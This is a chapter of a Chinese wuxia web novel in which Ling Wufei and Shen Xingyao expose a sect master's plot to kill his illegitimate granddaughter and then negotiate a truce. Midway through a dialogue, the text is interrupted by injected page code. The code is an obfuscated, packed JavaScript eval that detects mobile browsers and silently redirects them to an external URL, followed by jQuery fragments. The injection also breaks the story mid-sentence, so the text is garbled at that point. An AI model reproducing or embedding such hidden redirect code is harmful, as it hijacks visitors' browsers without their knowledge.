18. 第十八章 破局方立身

作品:《星昭月明

    “不明白什么?”段苍云一愣。


    凌无非唇角微挑,轻笑不言。昏黄的烛光照亮他双眸,瞳底光彩,清亮如水,仿佛早已料到会有此一幕。


    “二姑娘有所不知,此人谋害堂主之心,蓄谋已久,不除恐有大患。”领头人道。


    “可是……”段苍云踟蹰不已。


    凌无非不予理会,拇指轻推扇骨,将折扇展开,掌心运劲,顿时,那柄折扇便自扇骨交叠处起皲裂开来。


    领头人见状,瞳孔骤然一缩,提气纵步上前,劈手夺下折扇,合起单股,做刀剑一般,刺入凌无非心口,同时翻转腰间佩刀,以刀鞘猛击他右腿伤口。


    凌无非一时吃痛,当即向前栽倒,右膝重重磕在地面。


    他露出自嘲似的笑,双手死死握住还未完全刺入胸中的那柄折扇,对那领头人道:“真是打得一手好算盘,段堂主今日,是想一箭双雕啊。”


    领头人一言不发,拔出插在他心口的折扇,随手扔在地上,反手拔刀指向段苍云喉心。


    “你干什么?”段苍云大惊。


    凌无非见状,冷笑不止,却因伤势太重咳嗽起来:“下了这么一盘棋……咳,难道不该让人死个明白吗?”


    “什么意思?”段苍云脸色惊变。


    “二姑娘,”领头人道,“这可不能怪我,都是掌门的意思。”


    “你把话说清楚,为何连我也要杀?”段苍云问道。


    “掌门从一开始就没打算要认你,可你不依不饶找上门来,未免事情闹得人尽皆知,总该有个了结。如今你杀了惊风剑的儿子,对外,我们鼎云堂,总得有个交代。”领头人道。


    “胡说八道!不是你动的手吗?”段苍云脸色惨白。


    “二姑娘说笑了,那把扇子,不是您的东西吗?”领头人冷冷道。


    “王八蛋,原来你们都在骗我?”段苍云怒不可遏,“你们……”


    “现在你该明白了?”凌无非扶着伤口,手支着石台,艰难站直身子,嗤笑说道,“所谓血浓于水,不过是引你入局的借口罢了。”


    “你……你早就知道是怎么回事?”段苍云眼底泛红,几乎快哭出来。


    “我早提醒过你,是你不信。”凌无非说着,眸中浮起一丝狡黠。


    说时迟,那时快。凌无非话音刚落,便听得破庙上方传来一声巨响,屋顶被人从外破开一个窟窿,无数碎石破瓦随之纷纷坠地。


    众人见状,纷纷退开。唯有凌无非一人神色从容,只缓缓向后挪了两步,站至神龛旁。


    沈星遥一手押着段逸朗,纵步落在人丛间。


    “这……”领头人惊诧不已,“你是……白天你们不是已经出城了吗?”


    “演给你们看看,这就当真了?”沈星遥眉梢一扬,轻笑说道。


    “你竟敢对公子下手?”领头人又气又惊。


    “光让段姑娘看清局势有何用?不如让这位段公子知道自己祖父是个什么货色,也免得咱们将来都过不太平。”沈星遥说着,拍了拍段逸朗肩头,“段公子看了这么久,看明白了吗?”


    “你们……你们到底在干什么?”段逸朗对那领头人问道,“张盛,你告诉我,这是怎么一回事?”


    “公子,这……”


    “既然你不肯说,那就由我来说,”沈星遥道,“段元恒年事已高,唯一的孙子又没什么本事。他的宝贝儿子早年在外,倒是惹了不少风流债,万一留下个有本事的后人,回来到处张扬,搅和得他也坐不稳这鼎云堂的掌门之位,岂不糟糕?与其守株待兔,还不如主动出击,先把人给找到,若愿听从安排,又有能耐继承大业,当然最好不过。可惜这位段姑娘出身不好,天赋同样不佳,让她回来,实在有损鼎云堂门面,偏偏她又不依不饶,非要认祖归宗,如此一来,就只好把知情之人,全都除掉了事。”


    “张盛,”段逸朗厉声呵斥,“她说的可是真的?”


    “公子,掌门这么做也是为了你好。”张盛上前一步,道,“还请公子不要插手此事。”


    “既然我都知道了,又怎么能不管?”段逸朗咬紧牙根,道,“我要见爷爷,当面说清此事。”


    张盛为难不已:“公子,请你相信我,此事绝不会连累……”


    “什么连累不连累?难道要为了这个,与秦掌门也结下梁子吗?更何况,我与凌兄自小便有往来,就算不是情同兄弟,也是朋友……岂能因为这种事……他老人家怎就这么糊涂?”


    凌无非听到段逸朗如此说话,不由舒了口气,然而他旧伤未愈,又添了新伤,一时之间体力不支,只觉头晕目眩,不自觉向前栽倒下去。


    “无非!”沈星遥快步上前将他搀稳,并喂下随身携带的黑色护心丹。


    段苍云瞧见此景,若有所悟:“姓凌的,你先前给我喂的丹药……”


    “那是救你性命的,”沈星遥道,“万一我没能及时赶回来,你也受了伤,这药会有大用处。”


    “原来是这样……”段苍云被这突如其来的变故所震,仍旧是一副心不在焉,失神落魄的模样。


    “张盛,你还拿刀指着人家干什么?”段逸朗大喝一声。


    “公子若是这般执拗,就别怪我等不客气了。”张盛退后一步,抬手示意众人上前,又补充道,“不可伤了公子,至于其他人,一个活口都不要留!”


    “我看你们谁敢!”段逸朗大怒,高声呵斥道。


    “看来你的话也没什么分量,段公子。”沈星遥索性松开凌无非的胳膊,上前扣住段逸朗脖颈,道,“反正我无门无派,就算与人结仇也连累不到旁人,不如就用段公子你做人质,来换我们平安离开,如何?”


    “沈姑娘,你……”段逸朗不禁蹙眉。


    “怎么会这样……”段苍云手足无措,踉跄着退后几步,眼泪不知怎的便掉了下来。


    张盛给近旁一名下属使了个眼色。谁知那厮才跨出一步,便被沈星遥劈手夺下佩刀,直接架上段逸朗脖颈。


    “还是别白费功夫了,既然都做不了主,还是别擅作主张。”沈星遥道,“免得一会儿真闹出人命,你们一个个的,都担待不起。”


    张盛闻言咬牙,却已无可奈何。


    不知不觉,月牙已爬上梢头。双方僵持许久,渐渐都开始乏了。凌无非由于伤势太重,只能坐在地上,静静等待,又过了许久,众人终于听到一阵急促的脚步声传来,正是徐菀。


    “凌少侠,段堂主请你出去一趟。”


    “爷爷也来了?”段逸朗一愣,“我也要见他!”


    “你就不必去了,段公子,”沈星遥道,“我们一共就四个人,还有一位受了伤,鼎云堂派了这么多人来,真要打起来,我们可支撑不住。”


    徐菀上前,搀着凌无非走出破庙大门。


    就在不远处的一棵老树下,段元恒立在一丛阴影之中,双肩微颓,仿佛一夜之间又老了几岁。


    凌无非在他跟前站定,微微摆手示意徐菀退开。


    星光照不到段元恒的脸上,凌无非瞧不清他的表情,更猜不到他此刻在想些什么。


    “段堂主。”凌无非平静开口。


    “不必说了,你到底要如何?”段元恒道。


    “段姑娘的事,到此结束,从此分道扬镳,各不追究。”凌无非依旧从容。


    “你去过玉峰山。”段元恒沉默许久,忽然开口,“你在找什么?”


    “找我想知道的答案。”凌无非道。


    “有些人可以存在,也可以不存在,不管是苍云还是你。”段元恒道,“同一件事,可以有千百种解释,你告诉朗儿和苍云的,又是哪一种?”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150364|150305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最简单的一种,”凌无非道,“我不想此事闹大。”


    “那就到此为止吧。”段元恒道,“想来那丫头现在也该清醒了,从哪来的,就回哪去。”


    “这话你应当亲口对她说。”凌无非道。


    段元恒不言,沉默良久,轻拂衣袖,双手负后,从树下的阴影里走了出来,认真看了一眼凌无非,冷哼一声,缓缓点点头道:“你很好。”


    “多谢夸奖。”凌无非动了动唇角,笑得分外敷衍。


    段元恒没有继续理会他,而是径自走进了破庙。


    段苍云看见他进门,身形先是一僵,随后便下意识退了几步。


    “掌门!”张盛等人连忙退后,转身向他施礼。


    沈星遥也松开了钳制着段逸朗的手。


    “爷爷!”段逸朗唤了一声。


    “沈女侠,你并非鸣风堂门人,又为何要让自己牵扯进来?”段元恒问道。


    “受人恩惠,见他有难,当然不能坐视不管。”沈星遥道。


    “你要是永远都这么想,总有一天,会惹上大麻烦。”段元恒意味深长道。


    “段……段堂主……”段苍云神情落寞,思忖良久,方不安问道,“你还要杀我吗?”


    “外人,”段元恒道,“你要记住,你永远都只是个外人。”


    “我现在明白了。”段苍云咬着唇角,道,“我会走的……”


    “那就永远别到姑苏来。”段元恒说完,一步步走到段逸朗跟前,道,“走吧,跟爷爷回家。”


    “那他们呢?”段逸朗问道。


    “都走吧,走得远远的,别再让我看到。”段元恒道。


    “段堂主德高望重,说话自当一言九鼎,今天说过的话,可别后悔。”沈星遥站在原地,冲着祖孙二人背影,朗声说道。


    段元恒冷哼一声,以眼神示意张盛等人一道离开。


    沈星遥走到门口,向外眺望,直到看不见这一行人的身影,适才松了口气。


    段苍云却重重瘫坐下去,望着头顶上方的星空,怅然若失。


    “都结束了。”凌无非在徐菀的搀扶下,勉强走回了破庙,在角落里坐下,“从哪儿来的,便回哪儿去吧。”


    这话,当然是说给段苍云听的。


    沈星遥长叹一声,退回到破庙之内。星光从屋顶巨大的破洞漏下,朦胧的光华落在她皎如白玉的面容之上。她忽觉额头有些湿润,便随手抹了一把。她头一回挟持人质,还撒了大谎,许是由于紧张,额间不知何时渗出了密密麻麻的汗珠,便忙以衣袖擦拭。


    恰在此时,凌无非抬眼望她。她两颊隐有红晕,加上本就生得一副好面容,他望着望着,竟有些呆了。


    沈星遥擦拭完脸上的汗水,这才注意到凌无非的眼神,于是好奇问他:“怎么了?”


    “没什么。”凌无非意识到失礼,连忙避开她的目光,心里一阵打鼓,跳得飞快。


    “你还走得动吗?”沈星遥看着他被血染红了一半的衣衫,蹙眉问道。


    凌无非愣了一会儿,才回过神来,也不知有没有听见她的话,只是避开她的目光,略一颔首:“应无大碍,休养一段时日就好。”


    “要是有人愿意早点相信我们说的话,哪用得着这么麻烦?”徐菀摇头,话里显然有所指代。


    “你这话什么意思?”段苍云霍然起立,快步走到徐菀跟前。


    “段姑娘又有何指教?”凌无非见她似欲生事之状,当即扶着墙面,勉励站起身来。


    “你……”段苍云迅速打量他一眼,见他半身鲜血,形容狼狈,眼底隐隐流露出疚意,本待伸手搀扶,然而踌躇片刻,却还是缩了回去。


    “你可以走了。”凌无非语气寡淡,显然不愿搭理她。


    “走就走!”段苍云说完,立刻大步走远。